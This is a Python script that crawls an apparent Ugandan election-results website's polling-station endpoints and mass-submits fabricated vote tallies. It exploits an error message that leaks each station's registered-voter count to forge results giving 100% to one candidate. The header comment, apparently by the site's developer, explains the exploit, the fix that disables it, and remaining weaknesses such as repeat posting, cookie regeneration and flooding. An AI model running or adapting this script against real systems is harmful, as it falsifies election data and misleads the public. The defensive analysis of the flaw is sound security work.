#!/usr/bin/env python

############################################33
#FROM THE MASTER
#---------------
# Otunnu Exploit
#I assume David crafted this exploit, but if not then whoever it is, thanks for making it known
#how bad it is to guide users -- feedback is evil in this case!
#Also, I notice a good understanding of the Ajax skeleton that does work on the post page -- makes things simpler for u I guess
#only solution would be to require users to know their polling stations before hand (NOT in this country ever!)
#
# OK, so how I understand your exploit?
#---------
# Basic principles:
# - the post page provides ajax to populate / fetch lists of polling stations => so you exploit this ti obtain list of all polling stations
# - the app requires that posting users have ids via cookies, so you ensure cookies are ON
# - the app sends warnings when one posts beyond the valid number of voters for this polling station, in addition it responds with the valid number
# so you use this information to obtain the valid number of voters per polling station
# - you then craft special votes results satisfying your desired percentages for each candidate, and the valid total number of voters for this polling station
# - you the  post at leisure to all the pollings stations obtained in ajax trick above, noting when posting was successfull or not -- the system help too by giving
# you feedback.
#
# YOU SIT BACK and Laugh Hard at Nemesis Fixx, the 'master' behind this mess?
#
#--------------
#WELL, This Hack No Longer works or is Crippled Now, because:
#--------------
# - no more special feedback is given by the app in response to either valid of invalid actions // all debugging is totally off
# - you can no longer post for more than one polling station as same user (unless if you register a new cookie for each different pstation)
#-----------
# Only Problem now?
#-------------
# - The damn malicious kid can still attempt to post many times for same polling station (do we disable multiple posting even for same pstation?)
# - the kid can flood our system with postings / requests / consuming alot of our allocated resources -- probably causing a DOS Attack! (we could blacklist their IPs / Network maybe)
# - if they can find a way to register a new cookie every time they post (e.g. by deleting the current one and requesting for a new one -- simply by visiting the post page
# with no cookie), they can then still post for multiple polling stations!
# - We have a potential mad dude on our case!
#-------------
#Summary?
#------------
#This hack previously would work by exploiting feedback given by the application, and the leverage offered by Ajax in terms of obtaining the list pstations. Currently the fix is to turn off all debugging feedback and any feedback offering clues, this breaks the core of this hack, as their is no way to know exactly  when the script is doing the right thing. Lastly, who is this David Gelvin guy? is he the attacker or some unknown friend / fiend? Freaks me to know someone wants to give Olara Otunnu 100% votes, though it's not entirely a bad option for me too :-)
############################################33


import re
import random
from cookielib import CookieJar
from urllib2 import Request, HTTPCookieProcessor, urlopen, build_opener
from urllib import urlencode

#URL = 'http://www.voteug.com'
#for local testing...
URL = 'http://localhost:8080'


'''
Below is the list of candidates.  Don't change the 'num' field as that is set on the server.
Change the percentages to add up to 100 or less (not over- that's cheating)
'''
CANDIDATES = [
    {'num': 1, 'name': 'Besigye Kizza Kifefe', 'percent': 0},
    {'num': 2, 'name': 'Yoweri Kaguta Museveni', 'percent': 0},
    {'num': 3, 'name': 'Mao Nobert', 'percent': 0},
    {'num': 4, 'name': 'Jaberi Bidandi Ssali', 'percent': 0},
    {'num': 5, 'name': 'Beti Olive Namisango Kamya', 'percent': 0},
    {'num': 6, 'name': 'Abed Bwanika', 'percent': 0},
    {'num': 7, 'name': 'Olara Otunnu', 'percent': 100},
    {'num': 8, 'name': 'Samuel Lubega Walter Mukaaku', 'percent': 0}
]

# We need to start by sending a crazy high number of votes for a polling station
# The system will respond that it's too high, and conventiently tell us the
# number of registered voters.  Then we submit again with that number
# distributed by our percentages above.
CRAZY_HIGH_POPULATION = 1000000


# shuffles a list
def shuffle(l):
    l = list(l)
    random.shuffle(l)
    return l

# The site uses cookies to 'validate' users.  No problem there.
cookiejar = CookieJar()
opener = build_opener(HTTPCookieProcessor(cookiejar))

# This agent looks good enough
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)')]

# Compile a regular expression to parse the slect options
r = re.compile(r'<option name="(?P<name>.*?)".*?value="(?P<value>.*?)"')

# Loop through all the ajax calls
for d in shuffle(r.findall(opener.open(URL).read())):
    district_name = d[0]
    for ea in shuffle(r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'district', 'value':d[1]}))).read())):
        e_area_name = ea[0]
        for scounty in shuffle(r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'ea', 'value':ea[1]}))).read())):
            scounty_name = scounty[0]
            for parish in shuffle(r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'scounty', 'value':scounty[1]}))).read())):
                parish_name = parish[0]
                for ps in r.findall(opener.open('%s/post?%s' % (URL, urlencode({'source':'parish', 'value':parish[1]}))).read()):
                    ps_name = parish[0]
                    data = {'pstation': ps[1]}

                    # First cast a very high vote to get the error giving us the total voting population
					#HACK FIX : currently there's no more way to know when the votes exceed the total voting population -- no feedback is given :(
                    for c in CANDIDATES:
                        data.update({'_'.join((str(c['num']), c['name'])):CRAZY_HIGH_POPULATION})             
					#HACK FIX : this won't work anymore...
                    match = re.search(r'no\. of voters:(?P<no>\d+)\)', opener.open(URL, urlencode(data)).read())

                    # Uh-oh
                    if not match:
                        continue
                    
                    # Now this is the total registered for each polling station                    
					#HACK FIX : this wont work tooo...
                    total = int(match.groupdict()['no'])


                    print "District: %s\nElectoral Area: %s\nSub-County: %s\nParish: %s\nPolling Station: %s" % \
                          (district_name, e_area_name, scounty_name, parish_name, ps_name)
                    print "Total registered voters: %d" % total

                    # Fill the ballot box
                    for c in CANDIDATES:
                        data.update({'_'.join((str(c['num']), c['name'])):int(total * (c['percent'] / 100.0))})
					#HACK FIX : this next line fails too because the expected feedback is no longer given.
                    match = re.search(r'Total Posted = (?P<posted>\d+)<br/>(?P<dict>.*?)</td>',
                                      opener.open(URL, urlencode(data)).read())

					#HACK FIX : yes, all posting will seem failed!
                    if not match:
                        print "Posting failed"
                    else:
						#will never get here :)
                        print "Votes Successfuly Cast:"
                        print "----- ----------- -----"
                    m_dict = match.groupdict()
                    for candidate in re.sub(r'("|{|})','', m_dict['dict']).split(','):
                        print candidate.strip()
                    print "Total Votes Cast: %s\n\n" % m_dict['posted']
